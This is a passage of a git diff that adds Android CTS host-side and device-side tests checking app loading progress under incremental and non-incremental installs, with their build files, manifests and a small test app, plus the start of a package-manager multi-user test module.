+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsInstalledLoadingProgressDeviceTests",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml b/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml
new file mode 100644
index 0000000..ac4c4d7
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.loadingprogress.device">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.tests.loadingprogress.device"/>
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
new file mode 100644
index 0000000..4344b89
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.device;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.LauncherActivityInfo;
+import android.content.pm.LauncherApps;
+import android.content.pm.PackageManager;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.UserHandle;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.function.Predicate;
+
+/**
+ * Device-side test, launched by the host-side test only and should not be called directly.
+ */
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class LoadingProgressTest {
+    private static final String TEST_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+    protected Context mContext;
+    private PackageManager mPackageManager;
+    private UserHandle mUser;
+    private LauncherApps mLauncherApps;
+    private static final int WAIT_TIMEOUT_MILLIS = 1000; /* 1 second */
+    private ConditionVariable mCalled  = new ConditionVariable();
+    private final HandlerThread mCallbackThread = new HandlerThread("callback");
+    private LauncherAppsCallback mCallback;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mPackageManager = mContext.getPackageManager();
+        assertNotNull(mPackageManager);
+        mUser = Process.myUserHandle();
+        mLauncherApps = mContext.getSystemService(LauncherApps.class);
+        mCallbackThread.start();
+    }
+
+    @After
+    public void tearDown() {
+        mCallbackThread.quit();
+        if (mCallback != null) {
+            mLauncherApps.unregisterCallback(mCallback);
+        }
+    }
+
+    @Test
+    public void testGetPartialLoadingProgress() throws Exception {
+        // Package is installed but only partially streamed
+        checkLoadingProgress(loadingProgress -> loadingProgress < 1.0f && loadingProgress > 0);
+    }
+
+    @Test
+    public void testReadAllBytes() throws Exception {
+        ApplicationInfo appInfo = mLauncherApps.getApplicationInfo(
+                TEST_PACKAGE_NAME, /* flags= */ 0, mUser);
+        final String codePath = appInfo.sourceDir;
+        final String apkDir = codePath.substring(0, codePath.lastIndexOf('/'));
+        for (String apkName : new File(apkDir).list()) {
+            final String apkPath = apkDir + "/" + apkName;
+            assertTrue(new File(apkPath).exists());
+            byte[] apkContentBytes = Files.readAllBytes(Paths.get(apkPath));
+            assertNotNull(apkContentBytes);
+            assertTrue(apkContentBytes.length > 0);
+        }
+    }
+
+    @Test
+    public void testGetFullLoadingProgress() throws Exception {
+        // Package should be fully streamed now
+        checkLoadingProgress(loadingProgress -> (1 - loadingProgress) < 0.001f);
+    }
+
+    private void checkLoadingProgress(Predicate<Float> progressCondition) {
+        List<LauncherActivityInfo> activities =
+                mLauncherApps.getActivityList(TEST_PACKAGE_NAME, mUser);
+        boolean foundTestApp = false;
+        for (LauncherActivityInfo activity : activities) {
+            if (activity.getComponentName().getPackageName().equals(
+                    TEST_PACKAGE_NAME)) {
+                foundTestApp = true;
+                final float progress = activity.getLoadingProgress();
+                assertTrue("progress <" + progress + "> does not meet requirement",
+                        progressCondition.test(progress));
+            }
+            assertTrue(activity.getUser().equals(mUser));
+        }
+        assertTrue(foundTestApp);
+    }
+
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
+        mCalled.close();
+        mCallback = new LauncherAppsCallback(
+                loadingProgress -> loadingProgress < 1.0f && loadingProgress > 0);
+        mLauncherApps.registerCallback(mCallback, new Handler(mCallbackThread.getLooper()));
+        assertTrue(mCalled.block(WAIT_TIMEOUT_MILLIS));
+    }
+
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithFullyLoaded() throws Exception {
+        mCalled.close();
+        mCallback = new LauncherAppsCallback(loadingProgress -> 1 - loadingProgress < 0.001);
+        mLauncherApps.registerCallback(mCallback, new Handler(mCallbackThread.getLooper()));
+        testReadAllBytes();
+        assertTrue(mCalled.block(WAIT_TIMEOUT_MILLIS));
+    }
+
+    class LauncherAppsCallback extends LauncherApps.Callback {
+        private final Predicate<Float> mCondition;
+        LauncherAppsCallback(Predicate<Float> progressCondition) {
+            mCondition = progressCondition;
+        }
+        @Override
+        public void onPackageRemoved(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackageAdded(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackageChanged(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackagesAvailable(String[] packageNames, UserHandle user, boolean replacing) {
+        }
+
+        @Override
+        public void onPackagesUnavailable(String[] packageNames, UserHandle user,
+                boolean replacing) {
+        }
+
+        @Override
+        public void onPackageLoadingProgressChanged(@NonNull String packageName,
+                @NonNull UserHandle user, float progress) {
+            if (mCondition.test(progress)) {
+                // Only release when progress meets the expected condition
+                mCalled.open();
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
new file mode 100644
index 0000000..7211dd1
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.LargeTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.incfs.install.IncrementalInstallSession;
+import com.android.incfs.install.adb.ddmlib.DeviceConnection;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.nio.file.Paths;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+/**
+ * atest com.android.tests.loadingprogress.host.IncrementalLoadingProgressTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class IncrementalLoadingProgressTest extends BaseHostJUnit4Test {
+    private static final String DEVICE_TEST_PACKAGE_NAME =
+            "com.android.tests.loadingprogress.device";
+    private static final String TEST_APK = "CtsInstalledLoadingProgressTestsApp.apk";
+    private static final String TEST_SPLIT_APK =
+            "CtsInstalledLoadingProgressTestsApp_hdpi-v4.apk";
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+    private static final String TEST_CLASS_NAME = DEVICE_TEST_PACKAGE_NAME + ".LoadingProgressTest";
+    private static final String IDSIG_SUFFIX = ".idsig";
+    private static final int WAIT_FOR_LOADING_PROGRESS_UPDATE_MS = 2000;
+    private IncrementalInstallSession mSession;
+    private static final int PACKAGE_SETTING_WRITE_SLEEP_MS = 10000;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue("true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery")));
+        getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File base_apk = buildHelper.getTestFile(TEST_APK);
+        assertNotNull(base_apk);
+        final File base_v4Signature = buildHelper.getTestFile(
+                TEST_APK + IDSIG_SUFFIX);
+        assertNotNull(base_v4Signature);
+        final File split_apk = buildHelper.getTestFile(TEST_SPLIT_APK);
+        assertNotNull(split_apk);
+        final File split_v4Signature = buildHelper.getTestFile(
+                TEST_SPLIT_APK + IDSIG_SUFFIX);
+        assertNotNull(split_v4Signature);
+        mSession = new IncrementalInstallSession.Builder()
+                .addApk(Paths.get(base_apk.getAbsolutePath()),
+                        Paths.get(base_v4Signature.getAbsolutePath()))
+                .addApk(Paths.get(split_apk.getAbsolutePath()),
+                        Paths.get(split_v4Signature.getAbsolutePath()))
+                .addExtraArgs("-t")
+                .build();
+
+        mSession.start(Executors.newCachedThreadPool(),
+                DeviceConnection.getFactory(getDevice().getSerialNumber()));
+        mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+        assertTrue(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mSession != null) {
+            mSession.close();
+        }
+        getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @LargeTest
+    @Test
+    public void testGetLoadingProgressSuccess() throws Exception {
+        // Check partial loading progress
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testGetPartialLoadingProgress"));
+        // Trigger full download
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testReadAllBytes"));
+        // Wait for loading progress to update
+        RunUtil.getDefault().sleep(WAIT_FOR_LOADING_PROGRESS_UPDATE_MS);
+        // Check full loading progress
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testGetFullLoadingProgress"));
+    }
+
+    @LargeTest
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testOnPackageLoadingProgressChangedCalledWithPartialLoaded"));
+    }
+
+    @LargeTest
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithFullyLoaded() throws Exception {
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testOnPackageLoadingProgressChangedCalledWithFullyLoaded"));
+    }
+
+    @LargeTest
+    @Test
+    public void testLoadingProgressPersistsAfterReboot() throws Exception {
+        // Wait for loading progress to update
+        RunUtil.getDefault().sleep(WAIT_FOR_LOADING_PROGRESS_UPDATE_MS);
+        // Check that "loadingProgress" is shown in the dumpsys of on a partially loaded app
+        final String loadingPercentageString = getLoadingProgressFromDumpsys();
+        assertNotNull(loadingPercentageString);
+        final int loadingPercentage = Integer.parseInt(loadingPercentageString);
+        assertTrue(loadingPercentage > 0 && loadingPercentage < 100);
+        getDevice().reboot();
+        final String loadingPercentageStringAfterReboot = getLoadingProgressFromDumpsys();
+        assertNotNull(loadingPercentageStringAfterReboot);
+        final int loadingPercentageAfterReboot =
+                Integer.parseInt(loadingPercentageStringAfterReboot);
+        // Can't guarantee that the values are the same, but should still be partially loaded
+        assertTrue(loadingPercentageAfterReboot > 0 && loadingPercentageAfterReboot < 100);
+    }
+
+    @LargeTest
+    @Test
+    public void testLoadingProgressNotShownWhenFullyLoaded() throws Exception {
+        // Trigger full download
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testReadAllBytes"));
+        // Wait for loading progress to update
+        RunUtil.getDefault().sleep(WAIT_FOR_LOADING_PROGRESS_UPDATE_MS);
+        // Check that no more showing of "loadingProgress" in dumpsys for this package
+        assertNull(getLoadingProgressFromDumpsys());
+        // Wait a bit before reboot, allowing the package setting info to be written to disk.
+        RunUtil.getDefault().sleep(PACKAGE_SETTING_WRITE_SLEEP_MS);
+        getDevice().reboot();
+        assertNull(getLoadingProgressFromDumpsys());
+    }
+
+    private String getLoadingProgressFromDumpsys() throws Exception {
+        final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        getDevice().executeShellCommand("dumpsys package " + TEST_APP_PACKAGE_NAME,
+                receiver);
+        final String output = receiver.getOutput();
+        // Expecting output like "loadingProgress=50%"
+        final Matcher matcher = Pattern.compile("loadingProgress=(\\d+)%").matcher(output);
+        if (!matcher.find() || matcher.groupCount() < 1) {
+            return null;
+        }
+        return matcher.group(1);
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java
new file mode 100644
index 0000000..f77677a
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/NonIncrementalLoadingProgressTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * atest com.android.tests.loadingprogress.host.NonIncrementalLoadingProgressTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class NonIncrementalLoadingProgressTest extends BaseHostJUnit4Test {
+    private static final String DEVICE_TEST_PACKAGE_NAME =
+            "com.android.tests.loadingprogress.device";
+    private static final String TEST_APK = "CtsInstalledLoadingProgressTestsApp.apk";
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+
+    @Before
+    public void setUp() throws Exception {
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(TEST_APK);
+        assertNotNull(apk);
+        assertNull(getDevice().installPackage(apk, false, "-t"));
+        assertTrue(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @Test
+    public void testGetLoadingProgressSuccess() throws Exception {
+        // Loading progress of non-incremental apps should always be 1
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME,
+                DEVICE_TEST_PACKAGE_NAME + ".LoadingProgressTest",
+                "testGetFullLoadingProgress"));
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp
new file mode 100644
index 0000000..b208d74
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/Android.bp
@@ -0,0 +1,47 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsInstalledLoadingProgressTestsApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+    package_splits: [
+        "hdpi-v4",
+    ],
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml b/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml
new file mode 100644
index 0000000..d4ed290
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.loadingprogress.app">
+    <application android:testOnly="true">
+        <activity android:name="com.android.tests.loadingprogress.app.MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/res/drawable-hdpi/background.jpg b/hostsidetests/packagemanager/installedloadingprogess/testdata/res/drawable-hdpi/background.jpg
new file mode 100644
index 0000000..1c466ae
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/res/drawable-hdpi/background.jpg
Binary files differ
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/res/layout/activity_main.xml b/hostsidetests/packagemanager/installedloadingprogess/testdata/res/layout/activity_main.xml
new file mode 100644
index 0000000..34c7a12
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/res/layout/activity_main.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              xmlns:app="http://schemas.android.com/apk/res-auto"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:background="@drawable/background">
+</LinearLayout>
+
diff --git a/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java b/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java
new file mode 100644
index 0000000..7d16dea
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/testdata/src/com/android/tests/loadingprogress/app/MainActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class MainActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/multiuser/Android.bp b/hostsidetests/packagemanager/multiuser/Android.bp
new file mode 100644
index 0000000..3e0c551
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsPackageManagerMultiUserHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/packagemanager/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
new file mode 100644
index 0000000..0135fc4
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager multi-user host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsEmptyTestApp.apk" />
+        <option name="test-file-name" value="CtsPackageManagerMultiUserTestApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerMultiUserHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/multiuser/app/Android.bp b/hostsidetests/packagemanager/multiuser/app/Android.bp
new file mode 100644
index 0000000..9590215
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsPackageManagerMultiUserTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java",],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: ["androidx.test.rules"],
+    compile_multilib: "both",
+}
diff --git a/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml b/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml
new file mode 100644
index 0000000..5fae893
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.packagemanager.multiuser.app" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.tests.packagemanager.multiuser.app" />
+</manifest>
